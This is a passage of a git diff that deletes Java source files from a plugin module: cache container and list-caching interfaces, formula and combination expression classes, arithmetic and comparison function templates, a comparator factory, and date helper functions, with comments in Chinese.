i = 0; - for (String vk : queues){ - v.put(dataFormat.toVal(vk),dataFormat.toIDX(i)); - i++; - } - applyVal = apply.apply(key,v); - } - - if(queues.size() >= windowsSize){ - caching.delFirst(key,false); - } - List v = new ArrayList<>(); - v.add(dataFormat.fromVal(val)); - caching.set(new IListCaching.ListCacheKey(key),v); - trans.commit(); - return applyVal; - }finally { - trans.end(); - } - } - - public IListCaching getCaching() { - return caching; - } - - public void setCaching(IListCaching caching) { - this.caching = caching; - } - - public IRollingDataFormat getDataFormat() { - return dataFormat; - } - - public void setDataFormat(IRollingDataFormat dataFormat) { - this.dataFormat = dataFormat; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/ICacheContainer.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/ICacheContainer.java deleted file mode 100644 index e7d941b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/ICacheContainer.java +++ /dev/null @@ -1,69 +0,0 @@ -package org.code.modules.plugins.function.cache; - -import java.util.Collection; -import java.util.Map; -import java.util.Set; - -/** - * Created by liwei on 2017/9/11. - */ -public interface ICacheContainer { - - void init(); - - void setCache(CONN cnn, KEY key, VAL val) throws Throwable; - - void delCache(CONN cnn, KEY s) throws Throwable; - - VAL getCache(CONN cnn, KEY key) throws Throwable; - - long incrBy(CONN cnn, KEY key, long v)throws Throwable; - - Set getAllKey(CONN cnn)throws Throwable; - - Map getBatchCache(CONN cnn, Collection key) throws Throwable; - - void batchSet(CONN cnn, Map val); - - ICachingTransaction createTrans(boolean hasTrans); - - - boolean isEmpty(VAL val); - - - void flushDB(); - - void close(); - - - static enum EnumConnType{ - KEEP_ALIVE, - SHORT_CONN - } - - - static interface ICachingTransaction{ - void begin(KEY key); - boolean commit(); - void end(); - boolean hasLock(); - - } - - - static interface ICacheContainerConnController{ - - void init(Map values); - - CONN getConn(); - - void release(CONN conn); - - void destroy(); - - } - - EnumConnType getConnType(); - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/ICaching.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/ICaching.java deleted file mode 100644 index 9b51c61..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/ICaching.java +++ /dev/null @@ -1,51 +0,0 @@ -package org.code.modules.plugins.function.cache; - -import java.util.Collection; -import java.util.Map; -import java.util.Set; - -/** - * Created by liwei on 2017/9/11. - */ -public interface ICaching{ - - String info(); - - void init(); - - boolean isLazyLoading(); - - VAL getVal(KEY key); - - Set getAllKey(); - - VAL getVal(KEY key, ICacheContainer.ICachingTransaction trans); - - Map getBatchVal(Collection key); - - Map getBatchVal(Collection val, ICacheContainer.ICachingTransaction trans); - - void set(KEY key, VAL val); - - void set(KEY key, VAL val, ICacheContainer.ICachingTransaction trans); - - void del(KEY key); - - void del(KEY key, ICacheContainer.ICachingTransaction trans); - - void delCacheOnly(KEY key); - - void delCacheOnly(KEY key, ICacheContainer.ICachingTransaction trans); - - void batchSet(Map val, Object... obj); - - Map getParams(); - - void setParams(Map params); - - void close(); - - public ICacheContainer.ICachingTransaction createTrans(); - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/IListCaching.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/IListCaching.java deleted file mode 100644 index 50d9480..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/IListCaching.java +++ /dev/null @@ -1,108 +0,0 @@ -package org.code.modules.plugins.function.cache; - - -import com.luqj.util.assertion.Assert; - -import java.util.ArrayList; -import java.util.List; - -/** - * Created by liwei on 2017/9/13. - */ -public interface IListCaching extends ICaching> { - - void delFirst(String key, boolean delDB); - - void delFirst(String key, boolean delDB, ICacheContainer.ICachingTransaction trans); - - void delLast(String key, boolean delDB); - - void delLast(String key, boolean delDB, ICacheContainer.ICachingTransaction trans); - - - public static class ListCacheKey{ - - private String key; - - private int count; - - //通过值操作数据时使用该字段 - private List fields = new ArrayList<>(); - - private ListCacheKeyType type = ListCacheKeyType.ALL; - - - public ListCacheKey(String key) { - Assert.notNull(key,"key不允许为空!"); - this.key = key; - this.count = count; - for (String field : fields){ - this.fields.add(field); - } - } - public ListCacheKey(String key,ListCacheKeyType type) { - Assert.notNull(key,"key不允许为空!"); - this.key = key; - this.type = type; - this.count = count; - for (String field : fields){ - this.fields.add(field); - } - } - - - @Override - public String toString() { - return key; - } - - public ListCacheKey(String key, ListCacheKeyType type, int count, String...fields) { - Assert.notNull(key,"key不允许为空!"); - this.key = key; - this.type = type; - this.count = count; - for (String field : fields){ - this.fields.add(field); - } - } - - - - public int getCount() { - return count; - } - - public ListCacheKeyType getType() { - return type; - } - - public void setType(ListCacheKeyType type) { - this.type = type; - } - - public boolean existFields(String field){ - return fields.contains(field); - } - - public boolean hasFiled(){ - return fields.size() > 0; - } - - public String getKey() { - return key; - } - - public List getFields() { - return fields; - } - - - - public static enum ListCacheKeyType{ - ALL, - RIGHT, - LEFT, - } - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/IRollingCaching.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/IRollingCaching.java deleted file mode 100644 index c253518..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/cache/IRollingCaching.java +++ /dev/null @@ -1,30 +0,0 @@ -package org.code.modules.plugins.function.cache; - -import java.util.Map; - -/** - * Created by liwei on 2017/9/13. - */ -public interface IRollingCaching{ - - - - - static interface IRollingApply{ - - APPLY_VAL apply(String key, Map val); - - } - - - static interface IRollingDataFormat{ - - String fromVal(VAL val); - - VAL toVal(String val); - - double fromIdx(IDX idx); - - IDX toIDX(double idx); - }; -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/AbstractFormulaExpression.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/AbstractFormulaExpression.java deleted file mode 100644 index f39384e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/AbstractFormulaExpression.java +++ /dev/null @@ -1,65 +0,0 @@ -package org.code.modules.plugins.function.expression; - -import org.code.modules.plugins.function.IExpression; -import org.code.modules.plugins.function.IExpressionContext; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.apache.commons.lang.StringUtils; - -import java.util.Arrays; - -/** - * 抽象函数表达式 (函数加参数才能具体表达某一件事情) - * @author chenzm - */ -public abstract class AbstractFormulaExpression implements IExpression { - protected IFunc func; - - protected IParam[] args = null; - - public AbstractFormulaExpression(IFunc f, IParam ...args) { - this.func = f; - this.args = args; - } - - public static FormulaExpression createFuncExpression(Class clazz, IParam ...args) { - try { - return new FormulaExpression(clazz.newInstance(), args); - } catch (Exception e) { - throw new IllegalStateException("创建函数表达式失败", e); - } - } - - @Override - public IParam execExpression(IExpressionContext context) { - for(IParam value : this.args) { - //有参数名称就会去表达式上下文取值然后设置到参数对象里面-字段参数 - if(StringUtils.isNotBlank(value.getParamName())) { - value.setVal(context.getExpressionData(value.getParamName())); - } - } - return this.func.fx(args); - } - - public abstract void addParam(IParam value); - - protected IParam[] grow(IParam[] buf, int newCapacity) { - return Arrays.copyOf(buf, newCapacity); - } - - public IFunc getFunc() { - return func; - } - - public void setFunc(IFunc func) { - this.func = func; - } - - public IParam[] getArgs() { - return args; - } - - public void setArgs(IParam[] args) { - this.args = args; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/CombinationExpression.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/CombinationExpression.java deleted file mode 100644 index fadbef0..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/CombinationExpression.java +++ /dev/null @@ -1,99 +0,0 @@ -package org.code.modules.plugins.function.expression; - -import org.code.modules.plugins.function.IExpression; -import org.code.modules.plugins.function.IExpressionContext; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTryCatchFunc; -import com.luqj.util.assertion.Assert; -import com.luqj.util.log.LogUtil; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; - -/** - * 组合表达式(组合模式) - * - * @author chenzm - */ -public class CombinationExpression extends AbstractFormulaExpression implements IExpression { - - protected List exps = new ArrayList(); - - private List buf = new ArrayList(); - - //位置信息格式:参数的起始位置 - private int[] expPosInfo = new int[0]; - - public CombinationExpression(IFunc f, IParam... args) { - super(f, args); - } - - @Override - public IParam execExpression(IExpressionContext context) { - try { - if (super.args.length == 0) { - List argList = new ArrayList(); - int pos = 0; - for (Object obj : buf) { - if (obj instanceof IParam) { - argList.add((IParam) obj); - } else { - this.expPosInfo = Arrays.copyOf(this.expPosInfo, this.expPosInfo.length + 1); - this.expPosInfo[exps.size()] = pos; - exps.add((IExpression) obj); - argList.add(((IExpression) obj).execExpression(context)); - } - pos++; - } - super.args = argList.toArray(new IParam[argList.size()]); - } else { - int pos = 0; - for (IExpression exp : exps) { - super.args[expPosInfo[pos]] = exp.execExpression(context); - pos++; - } - } - } catch (Throwable e) { - if (!isTryCatch()) { - throw e; - } - - IParam errorParam = AbstractTryCatchFunc.createExceptionParam( - LogUtil.exceptionMsg(String.format("%s执行错误", this.func.getClass().getName()), e) - ); - Assert.logic(buf.size() > 0, String.format("异常消息处理类[%s]参数至少要有一个", this.func.getClass().getName())); - - IParam[] errorParams = null; - if (buf.size() == 1) { - errorParams = new IParam[]{errorParam}; - } else { - Object errorHandler = buf.get(1); - if (buf.get(1) instanceof IParam) - errorParams = new IParam[]{errorParam, (IParam) errorHandler}; - else - errorParams = new IParam[]{errorParam, ((IExpression) errorHandler).execExpression(context)}; - } - return super.func.fx(errorParams); - } - return super.execExpression(context); - } - - private boolean isTryCatch() { - return AbstractTryCatchFunc.class.isAssignableFrom(this.func.getClass()); - } - - @Override - public void addParam(IParam value) { - this.buf.add(value); - } - - public void addExpression(IExpression expression) { - this.buf.add(expression); - } - - public void addParamOrExp(Object obj) { - this.buf.add(obj); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/DefaultExpressionContext.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/DefaultExpressionContext.java deleted file mode 100644 index b429664..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/DefaultExpressionContext.java +++ /dev/null @@ -1,43 +0,0 @@ -package org.code.modules.plugins.function.expression; - -import org.code.modules.plugins.function.IExpressionContext; -import net.sf.json.JSONObject; -import org.apache.commons.lang.StringUtils; - -import java.util.HashMap; -import java.util.Map; -import java.util.Set; - -/** - * 默认的表达式上下文 - * @author chenzm - */ -public class DefaultExpressionContext implements IExpressionContext{ - - private Map data = new HashMap(); - - @Override - public Object getExpressionData(String key) { - return this.data.get(StringUtils.upperCase(key)); - } - - @Override - public void setExpressionData(String key, Object val) { - this.data.put(StringUtils.upperCase(key), val); - } - - @Override - public void clear() { - data.clear(); - } - - @Override - public Set keySet() { - return data.keySet(); - } - - @Override - public String toString() { - return JSONObject.fromObject(data).toString(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/FormulaExpression.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/FormulaExpression.java deleted file mode 100644 index 1d28407..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/expression/FormulaExpression.java +++ /dev/null @@ -1,28 +0,0 @@ -package org.code.modules.plugins.function.expression; - -import org.code.modules.plugins.function.IExpression; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; - -/** - * 基础的算式表达式 - * @author chenzm - */ -public class FormulaExpression extends AbstractFormulaExpression implements IExpression { - - public FormulaExpression(IFunc f, IParam ...args) { - super(f, args); - } - - @Override - public void addParam(IParam value) { - if(this.args == null) { - this.args = new IParam[1]; - this.args[0] = value; - }else { - int len = this.args.length; - this.args = grow(this.args, len + 1); - this.args[len] = value; - } - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractFunc.java deleted file mode 100644 index 7371c01..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractFunc.java +++ /dev/null @@ -1,87 +0,0 @@ -package org.code.modules.plugins.function.method; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -/** - * 抽象公式函数 - * @author chenzm - */ -public abstract class AbstractFunc implements IFunc { - - protected boolean isReset = true; - - @Override - public IParam fx(IParam... args) { - if(args.length == 0) { - return getDefVal(); - } - return _fx(args); - } - - - - /** - * 默认返回值 - * @return - */ - protected abstract IParam getDefVal(); - - /** - * 公式 - * @param args - * @return - */ - public abstract IParam _fx(IParam[] args); - - /** - * 是否重置 - * @return - */ - public boolean isReset() { - return this.isReset; - } - - /** - * 关闭重置 - */ - public void disableReset() { - this.isReset = false; - } - - /** - * 开启重置 - */ - public void enableReset() { - this.isReset = true; - } - - /** - * 获取兼容性最高的类型 - * @param args - * @return - */ - protected StandTypeParam initStandTypeParam(IParam ...args) { - TypeEnum type = null; - for(int i = 0; i < args.length; i++) { - if(args[i].getValType() == null) { - continue; - } - - if(type == null) { - type = TypeEnum.valueOf(args[i].getValType().getSimpleName()); - }else { - TypeEnum t = TypeEnum.valueOf(args[i].getValType().getSimpleName()); - if(t.getPriority() > type.getPriority()) { - type = t; - } - } - } - - if(type == null) return null; - - return StandTypeParam.createParamByType(type); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractLogicalFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractLogicalFunc.java deleted file mode 100644 index 97f1b20..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractLogicalFunc.java +++ /dev/null @@ -1,31 +0,0 @@ -package org.code.modules.plugins.function.method; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 抽象逻辑函数模板 - * @author chenzm - */ -public abstract class AbstractLogicalFunc extends AbstractFunc implements IFunc{ - - private static final IParam _true = StandTypeParam.createConstantParam(true); - - private static final IParam _false = StandTypeParam.createConstantParam(false); - - protected StandTypeParam result = null; - - @Override - protected IParam getDefVal() { - return _true; - } - - protected IParam _true() { - return _true; - } - - protected IParam _false() { - return _false; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractMathFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractMathFunc.java deleted file mode 100644 index a73d4a8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractMathFunc.java +++ /dev/null @@ -1,192 +0,0 @@ -package org.code.modules.plugins.function.method; - -import com.luqj.util.ArithmeticEnum; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -/** - * 抽象数学公式函数模板 - * @author chenzm - */ -public abstract class AbstractMathFunc extends AbstractFunc implements IFunc { - - private static final IParam zero = StandTypeParam.createConstantParam(0); - - @Override - protected IParam getDefVal() { - return zero; - } - - protected void formulaOp(ArithmeticEnum op, IParam arg0, IParam arg1, StandTypeParam result) { - switch(op) { - case addition: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() + ParamFormat.format(arg1).shortValue()); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() + ParamFormat.format(arg1).intValue()); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() + ParamFormat.format(arg1).longValue()); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() + ParamFormat.format(arg1).floatValue()); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() + ParamFormat.format(arg1).doubleValue()); - } - break; - - case subtract: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() - ParamFormat.format(arg1).shortValue()); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() - ParamFormat.format(arg1).intValue()); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() - ParamFormat.format(arg1).longValue()); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() - ParamFormat.format(arg1).floatValue()); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() - ParamFormat.format(arg1).doubleValue()); - } - break; - - case multiply: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() * ParamFormat.format(arg1).shortValue()); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() * ParamFormat.format(arg1).intValue()); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() * ParamFormat.format(arg1).longValue()); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() * ParamFormat.format(arg1).floatValue()); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() * ParamFormat.format(arg1).doubleValue()); - } - break; - - case division: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() / ParamFormat.format(arg1).shortValue()); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() / ParamFormat.format(arg1).intValue()); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() / ParamFormat.format(arg1).longValue()); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() / ParamFormat.format(arg1).floatValue()); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() / ParamFormat.format(arg1).doubleValue()); - } - break; - - case lt: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() < ParamFormat.format(arg1).shortValue() ? 1 : 0); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() < ParamFormat.format(arg1).intValue() ? 1 : 0); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() < ParamFormat.format(arg1).longValue() ? 1 : 0); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() < ParamFormat.format(arg1).floatValue() ? 1 : 0); - break; - case String: - result.setVal(ComparatorFactory.getInstance().getComparator(String.class, TypeEnum.String).compare(ParamFormat.obj2Str(arg0), ParamFormat.obj2Str(arg1)) < 0 ? 1 : 0); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() < ParamFormat.format(arg1).doubleValue() ? 1 : 0); - } - break; - - case lte: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() <= ParamFormat.format(arg1).shortValue() ? 1 : 0); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() <= ParamFormat.format(arg1).intValue() ? 1 : 0); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() <= ParamFormat.format(arg1).longValue() ? 1 : 0); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() <= ParamFormat.format(arg1).floatValue() ? 1 : 0); - break; - case String: - result.setVal(ComparatorFactory.getInstance().getComparator(String.class, TypeEnum.String).compare(ParamFormat.obj2Str(arg0), ParamFormat.obj2Str(arg1)) <= 0 ? 1 : 0); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() <= ParamFormat.format(arg1).doubleValue() ? 1 : 0); - } - break; - - case gt: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() > ParamFormat.format(arg1).shortValue() ? 1 : 0); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() > ParamFormat.format(arg1).intValue() ? 1 : 0); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() > ParamFormat.format(arg1).longValue() ? 1 : 0); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() > ParamFormat.format(arg1).floatValue() ? 1 : 0); - break; - case String: - result.setVal(ComparatorFactory.getInstance().getComparator(String.class, TypeEnum.String).compare(ParamFormat.obj2Str(arg0), ParamFormat.obj2Str(arg1)) > 0 ? 1 : 0); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() > ParamFormat.format(arg1).doubleValue() ? 1 : 0); - } - break; - - case gte: - switch(result.getTypeEnum()) { - case Short: - result.setVal(ParamFormat.format(arg0).shortValue() >= ParamFormat.format(arg1).shortValue() ? 1 : 0); - break; - case Integer: - result.setVal(ParamFormat.format(arg0).intValue() >= ParamFormat.format(arg1).intValue() ? 1 : 0); - break; - case Long: - result.setVal(ParamFormat.format(arg0).longValue() >= ParamFormat.format(arg1).longValue() ? 1 : 0); - break; - case Float: - result.setVal(ParamFormat.format(arg0).floatValue() >= ParamFormat.format(arg1).floatValue() ? 1 : 0); - break; - case String: - result.setVal(ComparatorFactory.getInstance().getComparator(String.class, TypeEnum.String).compare(ParamFormat.obj2Str(arg0), ParamFormat.obj2Str(arg1)) >= 0 ? 1 : 0); - break; - default: - result.setVal(ParamFormat.format(arg0).doubleValue() >= ParamFormat.format(arg1).doubleValue() ? 1 : 0); - } - break; - default: - throw new IllegalArgumentException("暂不支持运算符号:" + op.getSymbol()); - } - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractTextFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractTextFunc.java deleted file mode 100644 index 93a3072..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractTextFunc.java +++ /dev/null @@ -1,15 +0,0 @@ -package org.code.modules.plugins.function.method; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.StandTypeParam; - -public abstract class AbstractTextFunc extends AbstractFunc implements IFunc{ - - protected static final IParam _nullChr = StandTypeParam.createConstantParam(""); - - @Override - protected IParam getDefVal() { - return _nullChr; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractTryCatchFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractTryCatchFunc.java deleted file mode 100644 index 6a1eb40..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/AbstractTryCatchFunc.java +++ /dev/null @@ -1,32 +0,0 @@ -package org.code.modules.plugins.function.method; - -import com.luqj.util.StringUtils; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.StringType; - -public abstract class AbstractTryCatchFunc implements IFunc { - public static final String EXCEPTION_MESSAGE = "$DRAGON_EXCEPTION_MESSAGE"; - - public static IParam createExceptionParam(String errorMsg) { - StandTypeParam errorParam = StandTypeParam.createFieldParam(EXCEPTION_MESSAGE, StringType.BASE); - errorParam.setVal(errorMsg); - return errorParam; - } - - /** - * 是否发生错误 - * - * @param param - * @return - */ - protected boolean isError(IParam param) { - if (param != null - && StringUtils.isNotBlank(param.getParamName()) - && param.getParamName().equals(EXCEPTION_MESSAGE)) { - return true; - } - return false; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/BagFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/BagFunc.java deleted file mode 100644 index 746d707..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/BagFunc.java +++ /dev/null @@ -1,17 +0,0 @@ -package org.code.modules.plugins.function.method; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; - -/** - * 包函数 eg (3) = 3,(6) = 6 - * Created by chenzm on 2017/2/18. - */ -public class BagFunc implements IFunc{ - @Override - public IParam fx(IParam... args) { - if(args.length == 0) - return null; - return args[0]; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/ComparatorFactory.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/ComparatorFactory.java deleted file mode 100644 index 806e46b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/ComparatorFactory.java +++ /dev/null @@ -1,106 +0,0 @@ -package org.code.modules.plugins.function.method; - -import org.code.modules.plugins.types.TypeEnum; - -import java.math.BigDecimal; -import java.math.BigInteger; -import java.util.Comparator; -import java.util.HashMap; -import java.util.Map; - -public class ComparatorFactory { - private static ComparatorFactory factory = null; - - private Map> comparatorMap; - - public ComparatorFactory() { - comparatorMap = new HashMap>(); - comparatorMap.put(TypeEnum.Short, new Comparator(){ - @Override - public int compare(Short o1, Short o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.Integer, new Comparator(){ - @Override - public int compare(Integer o1, Integer o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.Long, new Comparator(){ - @Override - public int compare(Long o1, Long o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.Float, new Comparator(){ - @Override - public int compare(Float o1, Float o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.Double, new Comparator(){ - @Override - public int compare(Double o1, Double o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.BigInteger, new Comparator(){ - @Override - public int compare(BigInteger o1, BigInteger o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.BigDecimal, new Comparator(){ - @Override - public int compare(BigDecimal o1, BigDecimal o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.Boolean, new Comparator(){ - @Override - public int compare(Boolean o1, Boolean o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.String, new Comparator(){ - @Override - public int compare(String o1, String o2) { - return o1.compareTo(o2); - } - }); - comparatorMap.put(TypeEnum.Date, new Comparator(){ - @Override - public int compare(Object o1, Object o2) { - if(o1 instanceof java.sql.Date) { - return ((java.sql.Date)o1).compareTo((java.sql.Date)o2); - } - return ((java.util.Date)o1).compareTo((java.util.Date)o2); - } - }); - } - - public static ComparatorFactory getInstance() { - if(factory == null) { - synchronized (ComparatorFactory.class) { - if(factory == null) - factory = new ComparatorFactory(); - } - } - return factory; - } - - public Comparator getComparator(TypeEnum type) { - if(!this.comparatorMap.containsKey(type)) { - throw new IllegalArgumentException("没有找到" +type.toString() + "类型的比较器"); - } - return this.comparatorMap.get(type); - } - - public Comparator getComparator(Class clazz, TypeEnum type) { - if(!this.comparatorMap.containsKey(type)) { - throw new IllegalArgumentException("没有找到" +type.toString() + "类型的比较器"); - } - return (Comparator)this.comparatorMap.get(type); - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/AbstractDateFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/AbstractDateFunc.java deleted file mode 100644 index 4023b6c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/AbstractDateFunc.java +++ /dev/null @@ -1,14 +0,0 @@ -package org.code.modules.plugins.function.method.datetime; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; - -public abstract class AbstractDateFunc implements IFunc{ - - @Override - public IParam fx(IParam... args) { - return format(args); - } - - public abstract IParam format(IParam[] args); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/MilliSeconds.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/MilliSeconds.java deleted file mode 100644 index 6d9203f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/MilliSeconds.java +++ /dev/null @@ -1,46 +0,0 @@ -package org.code.modules.plugins.function.method.datetime; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; -import com.luqj.util.assertion.Assert; - -import java.util.Calendar; - -/** - * 毫秒数 - * Created by chenzm on 2017/9/18. - */ -public class MilliSeconds extends AbstractDateFunc implements IFunc { - private Calendar calendar = null; - - private StandTypeParam sysMillis = StandTypeParam.createParamByType(TypeEnum.Long); - - @Override - public IParam format(IParam[] args) { - Assert.logic(args.length == 2, "参数长度不匹配"); - if (calendar == null) { - calendar = Calendar.getInstance(); - } - calendar.setTimeInMillis(System.currentTimeMillis()); - - int val = ParamFormat.format(args[0]).intValue(); - String unit = ParamFormat.obj2Str(args[1]); - Assert.hasText(unit, "单位不能为空"); - unit = unit.toUpperCase(); - - if ("YEAR".equals(unit)) { - calendar.add(Calendar.YEAR, val); - } else if ("MONTH".equals(unit)) { - calendar.add(Calendar.MONTH, val); - } else if ("DAY_OF_YEAR".equals(unit)) { - calendar.add(Calendar.DAY_OF_YEAR, val); - } else { - throw new IllegalArgumentException("赞不支持时间单位[" + unit + "]"); - } - sysMillis.setVal(calendar.getTimeInMillis()); - return sysMillis; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ReverseLongToDateFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ReverseLongToDateFunc.java deleted file mode 100644 index a1bfa71..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ReverseLongToDateFunc.java +++ /dev/null @@ -1,59 +0,0 @@ -package org.code.modules.plugins.function.method.datetime; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -import java.util.Date; - -/** - * 字符串转成时间格式转换函数 - */ -public class ReverseLongToDateFunc extends AbstractDateFunc implements IFunc { - - private StandTypeParam date = StandTypeParam.createParamByType(TypeEnum.Date); - - /** - * 